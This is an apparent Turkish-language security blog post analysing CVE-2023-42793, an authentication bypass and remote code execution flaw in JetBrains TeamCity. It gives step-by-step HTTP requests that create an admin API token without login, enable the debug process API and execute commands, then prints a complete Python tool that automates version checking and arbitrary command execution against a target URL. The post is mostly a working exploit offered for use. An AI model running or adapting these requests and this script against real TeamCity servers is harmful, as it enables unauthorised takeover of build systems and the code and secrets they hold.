Post

CVE-2023-42793 Analiz ve PoC

The basics of Penetration Testing, Enumeration, Privilege Escalation and WebApp testing

CVE-2023-42793 Analiz ve PoC

Özet

TeamCity’nin genel amacı geniş otomasyonlara, collaboration ve geliştirme pratiklerine sahip CI/CD yazılım platormudur

TeamCity 2023.05.3 ve bir önce ki tüm sürümleri bu açığa dahil. Bu açık ile Authentication Bypass mümkün hale geliyor ve bunla beraber Remote Code Execution (RCE) yapabiliyoruz.

Exploit

İşin en başında, url’lerin hepsinin sonunda /RPC2 içeriyorsa, yapacak olduğunuz tüm istekler için giriş yapmanıza gerek yok.

Açığı exploit etmek için, ismi RPC2 olan bir REST API belirteci (token) eklemek üzere aşağıdaki isteği gönderin:

1
2
3
4
5
6
7
8
9
10
POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: localhost:8111
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

alt text Bu şekilde bir Authorization Bearer tokeni oluşturduk.

Şimdi API tokenimiz ile debug modunu aktif edeceğiz.

1
2
3
4
5
6
7
8
9
10
11
POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
Host: localhost:8111
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.MU1hWHQ2bTdKbXZubHNVclk1dTNPX21JSHlz.ZmZiMmFjNDYtNWE3Zi00YTBkLWE2ZWMtODlkNjkwNWY5NjU0

alt text

Şimdi sırada Remote Code Execution gerçekleştirme var.

1
2
3
4
5
6
7
8
9
10
POST /app/rest/debug/processes?exePath=pwd HTTP/1.1
Host: localhost:8111
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Length: 0
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.MU1hWHQ2bTdKbXZubHNVclk1dTNPX21JSHlz.ZmZiMmFjNDYtNWE3Zi00YTBkLWE2ZWMtODlkNjkwNWY5NjU0

alt text

Otomatik Tool

bu tool’u ben yazdım, biraz acemice ama olsun. alt text https://github.com/burakacar6/CVE-2023-42793-TeamCity-Unauthenticated-RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
import argparse
import re
import requests
import warnings
import xml.etree.ElementTree as ET

from bs4 import BeautifulSoup, MarkupResemblesLocatorWarning
from colorama import Fore, Style, init
from packaging import version

warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning)

PATCHED_VERSION = version.parse("2023.05.4")
TOKEN_NAME = "RPC2"


def info(msg):
    print(f"{Fore.CYAN}[*] {msg}{Style.RESET_ALL}")


def success(msg):
    print(f"{Fore.LIGHTGREEN_EX}{Style.BRIGHT}[+] {msg}{Style.RESET_ALL}")


def error(msg):
    print(f"{Fore.LIGHTRED_EX}{Style.BRIGHT}[-] {msg}{Style.RESET_ALL}")


def get_version(url):
    response = requests.get(url, timeout=30)
    soup = BeautifulSoup(response.text, "html.parser")
    version_span = soup.find("span", class_="greyNote version")
    if not version_span:
        return None

    vword = version_span.find("span", class_="vWord")
    if vword:
        vword.decompose()

    version_text = version_span.get_text(strip=True)
    match = re.search(r"(\d+\.\d+(?:\.\d+)?)", version_text)
    return version.parse(match.group(1)) if match else None


def check_vulnerability(url):
    init(autoreset=True)
    info(f"Checking Target Version: {Fore.WHITE}{url} ... (30 seconds timeout)")

    try:
        target_version = get_version(url)
    except requests.RequestException as e:
        error(f"Failed to reach target: {e}")
        return False

    if not target_version:
        error("No version found from URL")
        return False

    success(f"Found version: {Fore.WHITE}{target_version}")
    if target_version < PATCHED_VERSION:
        success(f"Vulnerable: {Fore.WHITE}{target_version}")
        return True

    error(f"Safe: Target ({url}) is not vulnerable")
    return False


def create_token(base_url):
    response = requests.post(f"{base_url}/app/rest/users/id:1/tokens/{TOKEN_NAME}", timeout=30)
    if response.status_code == 200:
        root = ET.fromstring(response.text)
        return root.attrib.get("value")

    if response.status_code in (400, 404):
        return None

    error(f"Failed to create RPC2 token (Status Code: {response.status_code})")
    return None


def delete_token(base_url):
    response = requests.delete(f"{base_url}/app/rest/users/id:1/tokens/{TOKEN_NAME}", timeout=30)
    return response.status_code == 204


def ensure_token(base_url):
    token = create_token(base_url)
    if token:
        return token

    info("Token already exists or request rejected. Deleting existing token...")
    if not delete_token(base_url):
        error("Failed to delete existing RPC2 token")
        return None

    success("Successfully deleted existing RPC2 token. Retrying...")
    return create_token(base_url)


def enable_debug_api(base_url, token):
    headers = {"Authorization": f"Bearer {token}"}
    response = requests.post(
        f"{base_url}/admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true",
        headers=headers,
        timeout=30,
    )
    return response.status_code == 200


def execute_command(base_url, token, command):
    headers = {"Authorization": f"Bearer {token}"}
    response = requests.post(
        f"{base_url}/app/rest/debug/processes?exePath={command}",
        headers=headers,
        timeout=30,
    )
    return response


def parse_stdout(response_text):
    match = re.search(r"StdOut:(.*?)\n\s*StdErr:", response_text, re.DOTALL)
    return match.group(1).strip() if match else response_text.strip()


def exploit(url, command):
    init(autoreset=True)
    base_url = url.rstrip('/')

    info(f"Exploiting Target: {Fore.WHITE}{base_url}")

    try:
        token = ensure_token(base_url)
        if not token:
            return

        success("Successfully created RPC2 token")
        info(f"Token: {Fore.WHITE}{token}")

        if not enable_debug_api(base_url, token):
            error("Failed to modify internal.properties")
            return
        success("Successfully modified internal.properties")

        response = execute_command(base_url, token, command)
        if response.status_code != 200:
            error(f"Failed to execute command (Status Code: {response.status_code})")
            return

        success(f"Successfully executed command: {Fore.WHITE}{command}")
        info(f"StdOut: {Fore.WHITE}{parse_stdout(response.text)}")

    except requests.RequestException as e:
        error(f"Network error: {e}")
    except ET.ParseError:
        error("Failed to parse token response")


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2023-42793 - JetBrains TeamCity Exploitation Tool"
    )
    subparsers = parser.add_subparsers(dest="subcommand", required=True)

    check_parser = subparsers.add_parser("check", help="Check if target is vulnerable to CVE-2023-42793")
    check_parser.add_argument("-u", "--url", required=True, help="Target URL (example: https://teamcity.domain.com:8111/login.html)")
    check_parser.set_defaults(func=check_vulnerability)

    exploit_parser = subparsers.add_parser("exploit", help="Exploit target vulnerable to CVE-2023-42793")
    exploit_parser.add_argument("-u", "--url", required=True, help="Target URL (example: https://teamcity.domain.com:8111/login.html)")
    exploit_parser.add_argument("-c", "--command", required=True, help="Command to execute on the target")
    exploit_parser.set_defaults(func=exploit)

    args = parser.parse_args()
    if args.subcommand == "exploit":
        args.func(args.url, args.command)
    else:
        args.func(args.url)


if __name__ == "__main__":
    main()
This post is licensed under CC BY 4.0 by the author.